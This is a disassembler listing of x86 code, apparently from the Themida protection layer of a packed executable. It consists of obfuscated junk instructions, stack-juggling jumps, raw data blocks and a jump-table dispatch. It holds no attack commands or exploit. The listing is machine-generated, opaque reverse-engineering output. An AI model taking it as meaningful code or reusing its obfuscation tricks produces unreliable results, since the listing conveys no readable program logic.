		dd 0FFF3AAE9h, 44BFE9FFh, 0E801FFFFh, 0DBF575Dh, 810C962Ch
		dd 63322FC7h, 0F275E931h, 56B7FFFFh, 0FF53BAE9h, 1F8CBDFFh
		dd 0EB313A91h, 0F5E4E95Dh, 0BA52FFFFh, 20005h, 56E9D031h
		dd 0E9FFFFBCh, 0FFFF4485h, 5547CCBFh, 0B850571Fh, 0D9D0403h
		dd 4244401h, 0F7E95D58h, 81FFFF74h, 0F74767C7h,	0A3EF8174h
		dd 0E90B1A42h, 0FFFFDC32h
; ---------------------------------------------------------------------------


loc_541664:				; CODE XREF: Themida_:00535B38j
		or	eax, eax
		jz	loc_53DA41
		push	6D80h
		mov	[esp], eax
		push	ecx
		jmp	loc_53963B
; ---------------------------------------------------------------------------
		dw 272Dh
		dd 2D35580Eh, 70B325FCh, 24E9C229h, 83FFFFA8h, 0EC8104C4h
		dd 4, 68243C89h, 68F0373Bh, 0F0BB535Fh,	4B39D827h, 0E3C1D3F7h
		dd 43D3F708h, 0B544B850h, 0C32962ECh, 5BD82958h, 34A9BA52h
		dd 6AE9234Ah, 0D3FFFF9Ah, 0E99C243Ch, 0FFFF43F5h, 0E983D9F7h
		dd 8848E9FFh, 5648FFFFh, 405793BEh, 0A1C68114h,	0E90AFE12h
		dd 0FFFFDD10h, 240C895Ch, 83E9AEB1h, 52FFFF5Ch,	8B2D12BAh
		dd 69F28120h, 815D1D3Dh, 516BDDC2h, 7101E94Ah, 1489FFFFh
		dd 7267BA24h, 0C2816DCEh, 0D171A743h, 0FF541FE9h, 4C681FFh
		dd 81000000h, 4C6h, 24348700h, 0DBB9E95Ch, 8B66FFFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_5410F0
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 306A15D6h, 0FFC6D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541751:				; CODE XREF: Themida_:0053CA67j
		mov	edx, [esp]
		jmp	loc_53E8F5
; ---------------------------------------------------------------------------


loc_541759:				; CODE XREF: Themida_:0053A870j
		add	ebp, 28D284B4h
		sub	eax, 261F6A62h
		add	eax, ebp
		add	eax, 261F6A62h
		pop	ebp
		jmp	loc_536B32
; ---------------------------------------------------------------------------
		db 5Ah,	2Ch, 0AFh
		dd 0FF625EE9h, 24048FFFh, 8966645Ch, 433BE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541786:				; CODE XREF: Themida_:00536862j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_53622C
; ---------------------------------------------------------------------------


loc_541791:				; CODE XREF: Themida_:00538FCFj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		inc	ecx
		not	ecx
		sub	ecx, 0CE7F6C36h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_537D1A
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 39A47C10h, 8334E953h, 0D1F7FFFFh, 5C55B850h,	0C131327Ah
		dd 0E924048Bh, 0A15h
; ---------------------------------------------------------------------------


loc_5417D8:				; CODE XREF: Themida_:0054071Aj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFF5B6Ah, 0CE9DFF6h, 81000004h, 602C84EAh
		dd 0C852E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541806:				; CODE XREF: Themida_:00539289j
		add	esp, 4
		and	eax, ebx
		jmp	loc_5400B2
; ---------------------------------------------------------------------------
		dd 58FB866h, 3E8C166h, 7F8F0566h, 2BE95066h, 0F7FFFF97h
		dd 2D582414h, 8CF75320h, 0E958C689h, 0FFFF44FDh, 4BA52h
		dd 0C1810000h, 440B4D7Fh, 0AFE9D101h, 66FFFFC6h, 0A8E99C51h
		dd 0FFFFFF8Ch, 48B2434h, 4C48324h, 0FF7C45E9h, 24248BFFh
		dd 89241489h, 4BB53E2h,	1000000h, 9A00E9DAh, 0F681FFFFh
		dd 71DB0E7Ch, 1C7B951h,	0C181175Ch, 0FFFFFFFFh,	1440C981h
		dd 0D1F7244Ch, 7E2EE981h, 0D9F75ABFh, 92F8F181h, 43E963FFh
		dd 89FFFFC6h, 0C0B82404h, 2D544863h, 0EC2500Fh,	3A147C05h
		dd 0D17AE952h, 0BD55FFFFh, 7228079Bh, 0ED81EDD1h, 19134CC3h
		dd 56C8BB53h, 0E7E92068h, 0BAFFFF9Ch, 63863B59h, 8104EAC1h
		dd 0A61C38EAh, 55EA814Eh, 3185D207h, 0C6815AD6h, 6BCCC50Eh
		dd 815EF189h, 0C252A3E9h, 89E98174h, 0E949151Ch, 0FFFFCD2Fh
; ---------------------------------------------------------------------------


loc_541900:				; CODE XREF: Themida_:0054200Aj
		mov	edi, esp
		add	edi, 4
		push	esi
		push	ecx
		push	523B6858h
		pop	ecx
		dec	ecx
		not	ecx
		xor	ecx, 0ADC497ACh
		jmp	loc_535BEE
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 248B2404h, 8041E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54192E:				; CODE XREF: Themida_:005393B1j
		push	3F4Ch
		mov	[esp], esp
		jmp	loc_541DB1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C481h, 9EE90000h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_541F6B
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFFB2C8h
; ---------------------------------------------------------------------------


loc_541958:				; CODE XREF: Themida_:0053BD62j
		pop	esp
		mov	[esp], eax
		jmp	loc_540030
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0E1h
		dd 793868h, 0B104E900h,	348BFFFFh, 4C48124h, 0E9000000h
		dd 0FFFF49CAh, 6D1ED81h, 0EA2972CAh, 600DE95Dh,	0BA52FFFFh
		dd 2, 148BD501h, 0E7895724h, 4C781h, 50530000h,	0F777E6B8h
		dd 0B6ACE93Ah, 74FFFFFFh, 8F5D0424h, 248B2404h,	53F9F724h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0F948E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5419CE:				; CODE XREF: Themida_:00536E01j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	esi, [esp]
		jmp	loc_539DA0
; ---------------------------------------------------------------------------


loc_5419E4:				; CODE XREF: Themida_:00538506j
		and	eax, ebp
		mov	ebp, [esp]
		push	636Ah
		jmp	loc_53705F
; ---------------------------------------------------------------------------
		db 29h
		dd 0BDC381C3h, 0E977B83Ah, 0FFFFACD2h, 2C381h, 1C330000h
		dd 241C3124h, 5C241C33h, 0E99CC138h, 0FFFF6E39h, 0C383595Eh
		dd 241C8702h, 2404305Ch, 4097E99Ch, 0EAC1FFFFh,	0EA814208h
		dd 93867071h, 55AD029h,	0DA0527Bh, 324ED405h, 0D5E95A35h
		dd 88FFFF42h, 24148BD3h, 5804C483h, 0FFE3B4E9h,	5CBD55FFh
		dd 815FD35Dh, 1A5201C5h, 6846h,	2C290000h, 6A76E924h, 0EB81FFFFh
		dd 4, 0E9241C87h, 0FFFFC70Bh
; ---------------------------------------------------------------------------


loc_541A7C:				; CODE XREF: Themida_:005400B8j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_535F8C
; ---------------------------------------------------------------------------
		dd 324ED42Dh, 7BBA5235h, 290DA052h, 87055AD0h, 2D6D787Eh
		dd 4DB53471h, 0EC81D029h, 4, 0E9241489h, 0FFFF8DE2h, 0CA6FC6B8h
		dd 5A9B2D58h, 292D20C0h, 1380A15h, 3C8758C7h, 24248B24h
		dd 9CE9E1F6h, 83FFFFBDh, 148904ECh, 14EBBA24h, 0D1891219h
		dd 244C295Ah, 2434FF04h, 0D156E959h, 1704FFFFh,	0FFB9FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541B05:				; CODE XREF: Themida_:00538D27j
		add	ebp, 4AB54D89h
		add	ebp, 0B8978154h
		add	edi, ebp
		pop	ebp
		shl	edi, 1
		push	3A0Bh
		mov	[esp], eax
		mov	eax, 0F7E53B40h
		jmp	loc_53E7F1
; ---------------------------------------------------------------------------


loc_541B28:				; CODE XREF: Themida_:0053C8DFj
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_53DD0E
; ---------------------------------------------------------------------------
		db 68h
		dd 6C31h, 0E9242489h, 0FFFF845Ah
; ---------------------------------------------------------------------------


loc_541B44:				; CODE XREF: Themida_:0053B9A3j
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_540BDE
; ---------------------------------------------------------------------------
		dd 819AE947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541B72:				; CODE XREF: Themida_:0053731Dj
		push	27E3h
		jmp	loc_540B7F
; ---------------------------------------------------------------------------
		dd 50243489h, 0A57B34B8h, 4E0C140h, 0A5745335h,	3E8C115h
		dd 3DA968h, 24048900h, 0FFFC86E9h, 241489FFh, 687568h
		dd 24348900h, 0FF97DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541BAD:				; CODE XREF: Themida_:005403CCj
		mov	ebp, 0FEC28F1h
		sub	ebp, 4C7D5512h
		jmp	loc_53DC6C
; ---------------------------------------------------------------------------
		db 0BEh, 8Ah, 58h
		dd 4CE93FAFh, 83000003h, 0D9E904C4h, 5EFFFFE2h,	54E9F831h
		dd 0B2000001h, 5AD4080Ah, 54E9D4F6h, 0FFFFF74h,	0E8C5E9C8h
		dd 5066FFFFh, 3ECFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541BF2:				; CODE XREF: Themida_:00539677j
		mov	edi, 0FD76A59h
		add	edi, 3E3773CDh
		add	ebx, edi
		pop	edi
		xor	esi, ebx
		jmp	loc_53BFD2
; ---------------------------------------------------------------------------
		db 50h
		dd 0C090B353h, 0C38006E3h, 5BD8884Ah, 0FF7E9AE9h, 0C5815CFFh
		dd 4, 8704C583h, 248B242Ch, 0FD19E924h,	1489FFFFh, 4EC8124h
		dd 89000000h, 4812424h,	424h, 0C2815A00h, 4, 0FF46B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541C4D:				; CODE XREF: Themida_:0053DED4j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_539F34
; ---------------------------------------------------------------------------


loc_541C5F:				; CODE XREF: Themida_:0053F279j
		mov	eax, 5EF846E8h
		jmp	loc_53BD9C
; ---------------------------------------------------------------------------
		db 0B9h, 99h, 67h
		dd 0C1833756h, 0E1814101h, 2BCA643Fh, 5BD6E981h, 6FE9E96Ch
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541C83:				; CODE XREF: Themida_:0053D43Aj
		mov	edx, 403D4CFEh
		jmp	loc_53CD10
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0B1h
		dd 813B6052h, 0CC05C3C7h, 0BD6FE948h, 481FFFFh,	424h, 9854E900h
		dd 0E952FFFFh, 0FFFF5107h
; ---------------------------------------------------------------------------


loc_541CB0:				; CODE XREF: Themida_:00540BA9j
		shr	edi, 1
		shl	edi, 8
		add	edi, 67F55C00h
		push	edi
		push	ebp
		mov	ebp, 285D46E1h
		jmp	loc_540A0A
; ---------------------------------------------------------------------------
		db 81h
		dd 5F3564C5h, 2C875E24h, 585AE924h, 0E589FFFFh,	383CBA52h
		dd 0E2C139D8h, 8E2C105h, 4B91EA81h, 87E945AFh, 81000005h
		dd 4E9h, 879BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541CFA:				; CODE XREF: Themida_:0053E8B7j
		add	esp, 4
		or	eax, eax
		jz	loc_53AC0B
		push	19BDh
		jmp	loc_536E1B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E904C483h, 0FFFF3DA9h, 4C381h, 0C3830000h, 5AAA6802h
		dd 5DE90000h, 5FFFFFBCh, 9109E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541D32:				; CODE XREF: Themida_:0053B198j
		pop	ebx
		add	esp, 4
		push	edi
		push	eax
		push	4CB365FEh
		pop	eax
		inc	eax
		not	eax
		jmp	loc_53B3FA
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 14875C24h, 24248B24h, 0B8240489h, 1,	0FF1C4709h, 79E92434h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541D63:				; CODE XREF: Themida_:0053AEFEj
		sub	edi, ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2153319Ah
		sub	edi, esi
		pop	esi
		pop	ecx
		push	edx
		mov	edx, 20D8097Bh
		shl	edx, 6
		push	ecx
		mov	ecx, 4FA463E3h
		sub	ecx, 6F3D1D01h
		jmp	loc_53A9B9
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 405E089h, 83000000h,	0FF5002C0h, 58042474h, 5C24048Fh
		dd 24048F66h, 0FF66B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541DB1:				; CODE XREF: Themida_:00541936j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_53FB3E
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 24043166h, 3CD3E99Ch, 5401FFFFh, 0E95A0424h
		dd 0FFFF3CC9h, 405h, 0A9E95600h, 2DFFFFDAh, 18B64193h
		dd 1EE0BA52h, 0D031148Ch, 0D61355Ah, 0C6896146h, 0FFF32958h
		dd 0ABE92434h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541E23:				; CODE XREF: Themida_:0054066Ej
		add	eax, ecx
		jmp	loc_538A36
; ---------------------------------------------------------------------------
		dw 5748h
		dd 6F3DFABFh, 5FF8317Fh, 0FF6F44E9h, 241C87FFh,	77BB535Ch
		dd 4322562Dh, 0E906EBC1h, 0FFFF431Fh, 66CE0966h, 0F6816659h
		dd 8166443Fh, 66258BE6h, 8166D6F7h, 669CC6C6h, 6621192Dh
		dd 566F001h, 1FE92119h,	0FFFFFF81h, 3C47E932h, 0D5BFFFFFh
		dd 0BE01F42Ah, 0FE0BD52Dh, 3C8BFE01h, 4C48324h,	348BF501h
		dd 4C48324h, 31242C33h,	2C33242Ch, 4FE5C24h, 1AE99C24h
		dd 5DFFFF3Ch, 5484F681h, 0F3010045h, 0FF546DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541EB5:				; CODE XREF: Themida_:00538226j
		push	1748h
		mov	[esp], eax
		jmp	loc_53EAD9
; ---------------------------------------------------------------------------
		dw 0D143h
		dd 0EB8143E3h, 696169FFh, 15BDE01h, 6EEE81CEh, 595D5579h
		dd 404CBD55h, 0EC835A9Ah, 24348904h, 6D3C8CBEh,	0A1E6810Dh
		dd 81094B40h, 2CBF36F6h, 5EF501ACh, 0E95DEE01h,	0FFFF4CC0h
		dd 2958C329h, 0A1C381C3h, 8B69F536h, 2DE92404h,	46FFFF90h
		dd 2414F756h, 0FF7863E9h, 5C801FFh, 24B31AF9h, 592434FFh
		dd 4C481h, 68570000h, 6A2E00B7h, 0FFFB015Fh, 0E95F2434h
		dd 0FFFFA81Eh, 1C8B6659h, 0E3895324h, 4C381h, 0C3810000h
		dd 2, 5C241C87h, 8055EB80h, 0EB80E2C3h,	80C300C0h, 57E9C0C3h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541F6B:				; CODE XREF: Themida_:0054194Bj
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53B88B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 83000000h,	0ABE904C5h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541F8F:				; CODE XREF: Themida_:0053AC43j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 651829DCh
		jmp	loc_53A114
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF9DE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541FA5:				; CODE XREF: Themida_:0053E4ACj
		add	esp, 4
		push	723Dh
		mov	[esp], edi
		push	ebp
		mov	ebp, 46A05F3h
		jmp	loc_53B727
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF6EB0E9h, 58C589FFh, 0D91C581h, 0D5F73C21h, 665FE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541FD2:				; CODE XREF: Themida_:005365A9j
		pop	ecx
		jmp	loc_53BE71
; ---------------------------------------------------------------------------
		dd 31243C33h, 3C33243Ch, 24248B24h, 8B2434FFh, 0C4832404h
		dd 4EC8304h, 0FF7375E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541FF5:				; CODE XREF: Themida_:0053E244j
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_541900
; ---------------------------------------------------------------------------
		db 57h
		dd 66195EBFh, 81E7D16Ah, 0CC32B8EFh, 0E9FD01D4h, 0FFFFB9B3h
		dd 240C8B66h, 369868h, 241C8900h, 0FF54C1E9h, 5F7CB8FFh
		dd 0D0F71470h, 0FFA43DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_542041:				; CODE XREF: Themida_:0053B225j
		push	eax
		mov	eax, 53322770h
		mov	ecx, 0B36924E0h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_53CC79
; ---------------------------------------------------------------------------


loc_54205C:				; CODE XREF: Themida_:00535C46j
		pop	esp
		push	ecx
		mov	cl, 39h
		dec	cl
		neg	cl
		xor	cl, 4Ch
		xor	dh, cl
		jmp	loc_538206
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 87E92404h, 66FFFF99h, 6824048Bh, 802h, 54243489h, 5E2434FFh
		dd 5E08950h, 4,	405h, 24048700h, 0FFD754E9h, 4C681FFh
		dd 81000000h, 4C6h, 24348700h, 0E924248Bh, 0FFFFCC1Ah
		dd 0FF3A08E9h, 5F829FFh, 7C9817CAh, 70E7B951h, 0C2E94161h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5420CB:				; CODE XREF: Themida_:00540391j
		sub	edx, 787B65F0h
		sub	edx, 0F2B405B3h
		sub	eax, edx
		pop	edx
		mov	ecx, eax
		pop	eax
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_53991F
; ---------------------------------------------------------------------------
a_hfi		db '_häi',0
		dd 241C8900h, 0FF4ABFE9h, 0B65266FFh, 66F728FFh, 0DF7805Ah
		dd 76E9F828h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_542107:				; CODE XREF: Themida_:00535C2Bj
		inc	eax
		jmp	loc_540B2C
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 45h
		dd 81436856h, 0E30874F2h, 0FFC28312h, 2655F281h, 0DAF778F7h
		dd 0F3D0C281h, 0D009670Dh, 7EAE355Ah, 68E92BFDh, 0FFFFFFFEh
		dd 58042474h, 5C24048Fh, 397BE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_542146:				; CODE XREF: Themida_:0053C8EBj
		push	eax
		mov	eax, 81A4760h
		push	esi
		mov	esi, 16211D4h
		not	esi
		jmp	loc_53D349
; ---------------------------------------------------------------------------


loc_542159:				; CODE XREF: Themida_:005363B4j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 73F6770Ah
		neg	edi
		shl	edi, 8
		xor	edi, 988F604h
		add	edx, 789A0C84h
		add	edx, 1EAF34C7h
		add	edx, edi
		sub	edx, 1EAF34C7h
		sub	edx, 789A0C84h
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	3FEh
		jmp	loc_5406AF
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 2BB5359h, 57000000h,	9A6492BFh, 0E9FA0111h, 0FFFFF3B7h
		dd 6857515Eh, 59E46EF3h, 0FFBD9CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5421D5:				; CODE XREF: Themida_:00539081j
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FF65C0E9h, 4C483FFh, 23E1C181h, 0D7E90AFDh
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5421FB:				; CODE XREF: Themida_:00538483j
		add	ebx, 4
		jmp	loc_53C578
; ---------------------------------------------------------------------------


loc_542206:				; CODE XREF: Themida_:0053D66Fj
		sub	bl, 0D3h
		sub	bl, ch
		add	bl, 0D3h
		pop	cx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 81240C8Bh, 4ECh, 24048900h, 7D68E089h, 0E900007Ch, 0FFFFF94Ch
; ---------------------------------------------------------------------------


loc_542230:				; CODE XREF: Themida_:0053B29Fj
		mov	edi, ebp
		pop	ebp
		xor	edx, edi
		pop	edi
		not	edx
		jmp	loc_53D42B
; ---------------------------------------------------------------------------


loc_54223D:				; CODE XREF: Themida_:0053B73Dj
		pop	ebp
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 52EE3F62h
		xor	ebx, 51AF256Ch
		xor	ebx, 3411A0Ah
		add	esi, ebx
		pop	ebx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		add	dword ptr [esp], 41E86D00h
		mov	eax, [esp]
		jmp	loc_53DC4A
; ---------------------------------------------------------------------------
		dw 0E2D1h
		dd 4EC8157h, 89000000h,	9EBE2434h, 575A0A18h, 0A119E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54228E:				; CODE XREF: Themida_:005388F5j
		push	ebp
		xchg	esi, [esp]
		not	esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		pop	ebp
		jmp	loc_5382F7
; ---------------------------------------------------------------------------


loc_5422A3:				; CODE XREF: Themida_:005406D0j
		mov	ebp, eax
		jmp	loc_5377A3
; ---------------------------------------------------------------------------
		dw 17B6h
		dd 0FFCAF2E9h, 3DC181FFh, 1EF1927h, 0FF5059C8h,	58042474h
		dd 0FF445EE9h, 4EC81FFh, 89000000h, 6BE9243Ch, 51FFFF53h
		dd 97E919B5h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5422DB:				; CODE XREF: Themida_:005410F9j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_53CDB0
; ---------------------------------------------------------------------------
		dd offset dword_49005C+29F0Ch
		align 2
		dw 489h
		dd 48B5424h, 4C48124h, 5000000h, 4, 42Dh, 24048700h, 2424895Ch
		dd 4EC81h, 2C890000h, 4BD24h, 0DBE90000h, 81FFFFD1h, 42404h
		dd 5580000h, 4,	405h, 24048700h, 7179055Ch, 0FF661CB3h
		dd 377FE930h, 3135FFFFh, 35114B00h, 25546B77h, 0FF4183E9h
		dd 1C335CFFh, 241C3124h, 5C241C33h, 24048B66h, 4EC81h
		dd 1C890000h, 0A010E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54236E:				; CODE XREF: Themida_:0053AA32j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_53805B
; ---------------------------------------------------------------------------


loc_542379:				; CODE XREF: Themida_:0053CB98j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_53A77F
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 5166C8AFh, 372FE99Ch, 34FFFFFFh, 0C4835924h,	4EC8104h
		dd 89000000h, 0E8682404h, 5400005Fh, 8124048Fh,	42404h
		dd 0CEE90000h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5423B7:				; CODE XREF: Themida_:00536018j
		pop	esp
		add	ebp, 0CD0CE1C1h
		jmp	loc_53E8B1
; ---------------------------------------------------------------------------


loc_5423C3:				; CODE XREF: Themida_:005388D1j
		sub	ebx, 2F393A01h
		sub	ebx, 5C87B74h
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		jmp	loc_53D41E
; ---------------------------------------------------------------------------
		align 4
		dd 59371000h, 0
		dd 59420000h, 33DCF800h, 5823A2FAh, 1308EB00h, 217E7h
		dd 200h, 2 dup(100h), 33DCF800h, 0FAh, 4 dup(0)
		dd 5449EF00h, 54D67F00h, 55514000h, 55709600h, 54A76F00h
		dd 547A0B00h, 55237C00h, 543CCF00h, 54501500h, 5549FD00h
		dd 55614500h, 54340F00h, 54B97100h, 55656D00h, 554E7400h
		dd 548F0100h, 54AE5800h, 54740200h, 5481E100h, 54603200h
		dd 54A92400h, 5522CE00h, 55468300h, 5507D600h, 5535EA00h
		dd 553F5300h, 544A7100h, 552AB700h, 54F80000h, 55723300h
		dd 54E6F700h, 54A80000h, 5458C100h, 5478C800h, 55152C00h
		dd 543C1600h, 5562F200h, 55390200h, 55673A00h, 557AC100h
		dd 556EBC00h, 542EEC00h, 5519E800h, 55640B00h, 54C87300h
		dd 54F21A00h, 552A9000h, 556A8700h, 5554BF00h, 5454F300h
		dd 54B2B600h, 55247B00h, 54F74100h, 54D6B400h, 5456F500h
		dd 546D1500h, 542CA200h, 54F53D00h, 551CFB00h, 55748E00h
		dd 55077C00h, 54B30400h, 54685E00h, 54A3BD00h, 54B15E00h
		dd 55743900h, 5552D300h, 54C47100h, 54AA8800h, 54F28800h
		dd 55590A00h, 54F61B00h, 55358600h, 552C8C00h, 55287000h
		dd 54EACB00h, 550B8900h, 54319000h, 550AC300h, 544BC700h
		dd 555A1000h, 545FC600h, 5506AB00h, 55244C00h, 546BB800h
		dd 5494CB00h, 54CA3100h, 54EBFD00h, 55754300h, 5526E400h
		dd 54FBC800h, 54F93200h, 547DB600h, 55015A00h, 547EEE00h
		dd 54D5AB00h, 557A5200h, 548DC500h, 54B20E00h, 54529700h
		dd 54497100h, 542DE600h, 55208B00h, 5568DF00h, 55586700h
		dd 54D1EF00h, 55239100h, 54500400h, 54B94500h, 55108700h
		dd 54982000h, 54A70400h, 549CF100h, 54402C00h, 54F57B00h
		dd 55070F00h, 5536A800h, 543B0400h, 5507B400h, 5545CB00h
		dd 545E4A00h, 549A7200h, 54FC8B00h, 55613C00h, 5575D600h
		dd 54B35800h, 549C1B00h, 550DAA00h, 55105700h, 552DE400h
		dd 54484200h, 551DA700h, 54AFB600h, 542EBB00h, 554C1D00h
		dd 54796A00h, 554A2300h, 5428AD00h, 54BF8E00h, 550BC800h
		dd 5532A200h, 54400D00h, 5477AF00h, 55674D00h, 552FFE00h
		dd 5508AB00h, 54F63A00h, 54FF7400h, 553DD300h, 54BD6600h
		dd 55686900h, 54CDD500h, 5565C600h, 54839B00h, 54871500h
		dd 54587600h, 555ED000h, 54661E00h, 54D87900h, 54DA5200h
		dd 5503AF00h, 552E2600h, 55708600h, 54D8EF00h, 54AE1200h
		dd 54C6D300h, 549A9B00h
		db 0
; ---------------------------------------------------------------------------


loc_5426C5:				; CODE XREF: Themida_:0058BC0Cj
					; Themida_:0058F3D4j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62049D5h
		mov	eax, edi
		add	edi, 62046EDh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5426E3
		jmp	short loc_5426F6
; ---------------------------------------------------------------------------


loc_5426E3:				; CODE XREF: Themida_:005426DFj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5426F2
; ---------------------------------------------------------------------------


loc_5426ED:				; CODE XREF: Themida_:005426F4j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5426F2:				; CODE XREF: Themida_:005426EBj
		or	ecx, ecx
		jnz	short loc_5426ED


loc_5426F6:				; CODE XREF: Themida_:005426E1j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_542703:				; CODE XREF: Themida_:0054270Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_542703


loc_54270C:				; CODE XREF: Themida_:loc_5432B3j
					; Themida_:00544119j ...
		lodsb
		add	al, 42h
		add	al, 0D7h
		add	al, bl
		jmp	loc_555D22
; ---------------------------------------------------------------------------


loc_542718:				; CODE XREF: Themida_:00545D0Ej
		push	ebp
		mov	ebp, 28AB3C99h
		neg	ebp
		jmp	loc_54BE6D
; ---------------------------------------------------------------------------


loc_542725:				; CODE XREF: Themida_:00543C69j
		push	ebx
		mov	bl, 74h
		jmp	loc_54E622
; ---------------------------------------------------------------------------
